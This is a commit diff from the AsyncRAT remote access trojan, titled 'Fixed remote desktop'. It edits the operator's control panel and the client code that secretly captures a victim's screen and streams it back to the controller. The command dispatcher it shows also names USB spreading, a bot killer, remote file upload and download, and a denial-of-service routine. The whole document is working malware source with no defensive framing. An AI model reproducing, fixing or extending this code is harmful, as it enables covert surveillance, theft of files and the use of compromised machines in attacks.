Fixed remote desktop
This commit is contained in:
parent
8b394f6835
commit
a29043dd14
18
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
18
AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
generated
@ -82,6 +82,7 @@
|
|||||||
this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.bUILDERToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
this.statusStrip1 = new System.Windows.Forms.StatusStrip();
|
||||||
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
this.toolStripStatusLabel1 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||||
|
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||||
this.ping = new System.Windows.Forms.Timer(this.components);
|
this.ping = new System.Windows.Forms.Timer(this.components);
|
||||||
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
|
this.UpdateUI = new System.Windows.Forms.Timer(this.components);
|
||||||
this.tabControl1 = new System.Windows.Forms.TabControl();
|
this.tabControl1 = new System.Windows.Forms.TabControl();
|
||||||
@ -112,7 +113,6 @@
|
|||||||
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
|
this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
|
||||||
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
|
this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
|
||||||
this.TimerTask = new System.Windows.Forms.Timer(this.components);
|
this.TimerTask = new System.Windows.Forms.Timer(this.components);
|
||||||
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
|
|
||||||
this.contextMenuClient.SuspendLayout();
|
this.contextMenuClient.SuspendLayout();
|
||||||
this.statusStrip1.SuspendLayout();
|
this.statusStrip1.SuspendLayout();
|
||||||
this.tabControl1.SuspendLayout();
|
this.tabControl1.SuspendLayout();
|
||||||
@ -188,7 +188,7 @@
|
|||||||
// lv_prefor
|
// lv_prefor
|
||||||
//
|
//
|
||||||
this.lv_prefor.Text = "PERFORMANCE";
|
this.lv_prefor.Text = "PERFORMANCE";
|
||||||
this.lv_prefor.Width = 189;
|
this.lv_prefor.Width = 200;
|
||||||
//
|
//
|
||||||
// lv_admin
|
// lv_admin
|
||||||
//
|
//
|
||||||
@ -559,6 +559,13 @@
|
|||||||
this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25);
|
this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25);
|
||||||
this.toolStripStatusLabel1.Text = "...";
|
this.toolStripStatusLabel1.Text = "...";
|
||||||
//
|
//
|
||||||
|
// toolStripStatusLabel2
|
||||||
|
//
|
||||||
|
this.toolStripStatusLabel2.Name = "toolStripStatusLabel2";
|
||||||
|
this.toolStripStatusLabel2.Size = new System.Drawing.Size(204, 25);
|
||||||
|
this.toolStripStatusLabel2.Text = " Notification";
|
||||||
|
this.toolStripStatusLabel2.Click += new System.EventHandler(this.ToolStripStatusLabel2_Click);
|
||||||
|
//
|
||||||
// ping
|
// ping
|
||||||
//
|
//
|
||||||
this.ping.Enabled = true;
|
this.ping.Enabled = true;
|
||||||
@ -811,13 +818,6 @@
|
|||||||
this.TimerTask.Interval = 5000;
|
this.TimerTask.Interval = 5000;
|
||||||
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
|
this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
|
||||||
//
|
//
|
||||||
// toolStripStatusLabel2
|
|
||||||
//
|
|
||||||
this.toolStripStatusLabel2.Name = "toolStripStatusLabel2";
|
|
||||||
this.toolStripStatusLabel2.Size = new System.Drawing.Size(204, 25);
|
|
||||||
this.toolStripStatusLabel2.Text = " Notification";
|
|
||||||
this.toolStripStatusLabel2.Click += new System.EventHandler(this.ToolStripStatusLabel2_Click);
|
|
||||||
//
|
|
||||||
// Form1
|
// Form1
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
|
@ -578,6 +578,7 @@ namespace AsyncRAT_Sharp
|
|||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
|
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||||
msgpack.ForcePathObject("Quality").AsInteger = 60;
|
msgpack.ForcePathObject("Quality").AsInteger = 60;
|
||||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
|
@ -79,7 +79,7 @@
|
|||||||
//
|
//
|
||||||
// btnSave
|
// btnSave
|
||||||
//
|
//
|
||||||
this.btnSave.Location = new System.Drawing.Point(482, 3);
|
this.btnSave.Location = new System.Drawing.Point(538, 3);
|
||||||
this.btnSave.Name = "btnSave";
|
this.btnSave.Name = "btnSave";
|
||||||
this.btnSave.Size = new System.Drawing.Size(152, 29);
|
this.btnSave.Size = new System.Drawing.Size(152, 29);
|
||||||
this.btnSave.TabIndex = 5;
|
this.btnSave.TabIndex = 5;
|
||||||
@ -154,11 +154,12 @@
|
|||||||
//
|
//
|
||||||
// button1
|
// button1
|
||||||
//
|
//
|
||||||
this.button1.Location = new System.Drawing.Point(6, 5);
|
this.button1.BackgroundImage = global::AsyncRAT_Sharp.Properties.Resources.stop__1_;
|
||||||
|
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||||
|
this.button1.Location = new System.Drawing.Point(12, 3);
|
||||||
this.button1.Name = "button1";
|
this.button1.Name = "button1";
|
||||||
this.button1.Size = new System.Drawing.Size(106, 29);
|
this.button1.Size = new System.Drawing.Size(32, 32);
|
||||||
this.button1.TabIndex = 0;
|
this.button1.TabIndex = 0;
|
||||||
this.button1.Text = "STOP";
|
|
||||||
this.button1.UseVisualStyleBackColor = true;
|
this.button1.UseVisualStyleBackColor = true;
|
||||||
this.button1.Click += new System.EventHandler(this.Button1_Click);
|
this.button1.Click += new System.EventHandler(this.Button1_Click);
|
||||||
//
|
//
|
||||||
|
@ -62,6 +62,7 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
{
|
{
|
||||||
button2.Top = panel1.Bottom + 5;
|
button2.Top = panel1.Bottom + 5;
|
||||||
button2.Left = pictureBox1.Width / 2;
|
button2.Left = pictureBox1.Width / 2;
|
||||||
|
button1.Tag = (object)"stop";
|
||||||
button2.PerformClick();
|
button2.PerformClick();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -69,30 +70,32 @@ namespace AsyncRAT_Sharp.Forms
|
|||||||
|
|
||||||
private void Button1_Click(object sender, EventArgs e)
|
private void Button1_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (button1.Text == "START")
|
if (button1.Tag == (object)"play")
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
|
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||||
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
|
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value);
|
||||||
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value);
|
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value);
|
||||||
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
||||||
numericUpDown1.Enabled = false;
|
numericUpDown1.Enabled = false;
|
||||||
numericUpDown2.Enabled = false;
|
numericUpDown2.Enabled = false;
|
||||||
button1.Text = "STOP";
|
button1.Tag = (object)"stop";
|
||||||
|
button1.BackgroundImage = Properties.Resources.stop__1_;
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
button1.Text = "START";
|
button1.Tag = (object)"play";
|
||||||
numericUpDown1.Enabled = true;
|
|
||||||
numericUpDown2.Enabled = true;
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
C2.ClientSocket.Dispose();
|
|
||||||
C2.Disconnected();
|
C2.Disconnected();
|
||||||
C2 = null;
|
C2 = null;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
|
numericUpDown1.Enabled = true;
|
||||||
|
numericUpDown2.Enabled = true;
|
||||||
|
button1.BackgroundImage = Properties.Resources.play_button;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -3,44 +3,55 @@ using Client.Sockets;
|
|||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.Drawing.Imaging;
|
using System.Drawing.Imaging;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Threading;
|
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using System.Net.Sockets;
|
|
||||||
using Client.Helper;
|
using Client.Helper;
|
||||||
using System;
|
using System;
|
||||||
using Client.StreamLibrary.UnsafeCodecs;
|
using Client.StreamLibrary.UnsafeCodecs;
|
||||||
using Client.StreamLibrary;
|
using Client.StreamLibrary;
|
||||||
using System.Net.Security;
|
|
||||||
using System.Security.Cryptography.X509Certificates;
|
|
||||||
using System.Security.Authentication;
|
|
||||||
|
|
||||||
namespace Client.Handle_Packet
|
namespace Client.Handle_Packet
|
||||||
{
|
{
|
||||||
public class HandleRemoteDesktop
|
public class HandleRemoteDesktop
|
||||||
{
|
{
|
||||||
|
|
||||||
|
//public HandleRemoteDesktop(MsgPack unpack_msgpack)
|
||||||
|
//{
|
||||||
|
// switch (unpack_msgpack.ForcePathObject("Option").AsString)
|
||||||
|
// {
|
||||||
|
// case "capture":
|
||||||
|
// {
|
||||||
|
// CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||||
|
// break;
|
||||||
|
// }
|
||||||
|
// }
|
||||||
|
//}
|
||||||
public void CaptureAndSend(int quality, int Scrn)
|
public void CaptureAndSend(int quality, int Scrn)
|
||||||
{
|
{
|
||||||
try
|
TempSocket tempSocket = new TempSocket();
|
||||||
|
string hwid = Methods.HWID();
|
||||||
|
Bitmap bmp = null;
|
||||||
|
BitmapData bmpData = null;
|
||||||
|
Rectangle rect;
|
||||||
|
Size size;
|
||||||
|
MsgPack msgpack;
|
||||||
|
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
||||||
|
MemoryStream stream;
|
||||||
|
while (tempSocket.IsConnected && ClientSocket.IsConnected)
|
||||||
{
|
{
|
||||||
TempSocket tempSocket = new TempSocket();
|
try
|
||||||
|
|
||||||
string hwid = Methods.HWID();
|
|
||||||
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
|
|
||||||
while (tempSocket.Client.Connected)
|
|
||||||
{
|
{
|
||||||
if (!tempSocket.IsConnected || !ClientSocket.IsConnected) break;
|
bmp = GetScreen(Scrn);
|
||||||
Bitmap bmp = GetScreen(Scrn);
|
rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
||||||
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);
|
size = new Size(bmp.Width, bmp.Height);
|
||||||
Size size = new Size(bmp.Width, bmp.Height);
|
bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
|
||||||
BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);
|
|
||||||
|
|
||||||
using (MemoryStream stream = new MemoryStream())
|
using (stream = new MemoryStream())
|
||||||
{
|
{
|
||||||
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
|
unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);
|
||||||
|
|
||||||
if (stream.Length > 0)
|
if (stream.Length > 0)
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||||
msgpack.ForcePathObject("ID").AsString = hwid;
|
msgpack.ForcePathObject("ID").AsString = hwid;
|
||||||
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
|
msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
|
||||||
@ -53,9 +64,11 @@ namespace Client.Handle_Packet
|
|||||||
bmp.UnlockBits(bmpData);
|
bmp.UnlockBits(bmpData);
|
||||||
bmp.Dispose();
|
bmp.Dispose();
|
||||||
}
|
}
|
||||||
tempSocket.Dispose();
|
catch { break; }
|
||||||
}
|
}
|
||||||
catch { }
|
bmp?.UnlockBits(bmpData);
|
||||||
|
bmp?.Dispose();
|
||||||
|
tempSocket?.Dispose();
|
||||||
}
|
}
|
||||||
|
|
||||||
private Bitmap GetScreen(int Scrn)
|
private Bitmap GetScreen(int Scrn)
|
||||||
@ -64,10 +77,11 @@ namespace Client.Handle_Packet
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
Bitmap bmpScreenshot = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppArgb);
|
||||||
Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot);
|
using (Graphics gfxScreenshot = Graphics.FromImage(bmpScreenshot))
|
||||||
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
{
|
||||||
gfxScreenshot.Dispose();
|
gfxScreenshot.CopyFromScreen(rect.Left, rect.Top, 0, 0, new Size(bmpScreenshot.Width, bmpScreenshot.Height), CopyPixelOperation.SourceCopy);
|
||||||
return bmpScreenshot;
|
return bmpScreenshot;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch { return new Bitmap(rect.Width, rect.Height); }
|
catch { return new Bitmap(rect.Width, rect.Height); }
|
||||||
}
|
}
|
||||||
|
@ -113,15 +113,13 @@ namespace Client.Handle_Packet
|
|||||||
|
|
||||||
case "usbSpread":
|
case "usbSpread":
|
||||||
{
|
{
|
||||||
HandleLimeUSB limeUSB = new HandleLimeUSB();
|
new HandleLimeUSB().Run(); ;
|
||||||
limeUSB.Run();
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "remoteDesktop":
|
case "remoteDesktop":
|
||||||
{
|
{
|
||||||
HandleRemoteDesktop remoteDesktop = new HandleRemoteDesktop();
|
new HandleRemoteDesktop().CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
||||||
remoteDesktop.CaptureAndSend(Convert.ToInt32(unpack_msgpack.ForcePathObject("Quality").AsInteger), Convert.ToInt32(unpack_msgpack.ForcePathObject("Screen").AsInteger));
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -150,15 +148,13 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
case "getDrivers":
|
case "getDrivers":
|
||||||
{
|
{
|
||||||
FileManager fileManager = new FileManager();
|
new FileManager().GetDrivers();
|
||||||
fileManager.GetDrivers();
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "getPath":
|
case "getPath":
|
||||||
{
|
{
|
||||||
FileManager fileManager = new FileManager();
|
new FileManager().GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
|
||||||
fileManager.GetPath(unpack_msgpack.ForcePathObject("Path").AsString);
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -176,8 +172,7 @@ namespace Client.Handle_Packet
|
|||||||
|
|
||||||
case "reqUploadFile":
|
case "reqUploadFile":
|
||||||
{
|
{
|
||||||
FileManager fileManager = new FileManager();
|
new FileManager().ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString); ;
|
||||||
fileManager.ReqUpload(unpack_msgpack.ForcePathObject("ID").AsString);
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -200,17 +195,13 @@ namespace Client.Handle_Packet
|
|||||||
|
|
||||||
case "socketDownload":
|
case "socketDownload":
|
||||||
{
|
{
|
||||||
FileManager fileManager = new FileManager();
|
new FileManager().DownnloadFile(unpack_msgpack.ForcePathObject("File").AsString, unpack_msgpack.ForcePathObject("DWID").AsString);
|
||||||
string file = unpack_msgpack.ForcePathObject("File").AsString;
|
|
||||||
string dwid = unpack_msgpack.ForcePathObject("DWID").AsString;
|
|
||||||
fileManager.DownnloadFile(file, dwid);
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case "botKiller":
|
case "botKiller":
|
||||||
{
|
{
|
||||||
HandleBotKiller botKiller = new HandleBotKiller();
|
new HandleBotKiller().RunBotKiller();
|
||||||
botKiller.RunBotKiller();
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -249,9 +240,8 @@ namespace Client.Handle_Packet
|
|||||||
{
|
{
|
||||||
case "postStart":
|
case "postStart":
|
||||||
{
|
{
|
||||||
HandleDos handleDos = new HandleDos();
|
|
||||||
ctsDos = new CancellationTokenSource();
|
ctsDos = new CancellationTokenSource();
|
||||||
handleDos.DosPost(unpack_msgpack);
|
new HandleDos().DosPost(unpack_msgpack);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user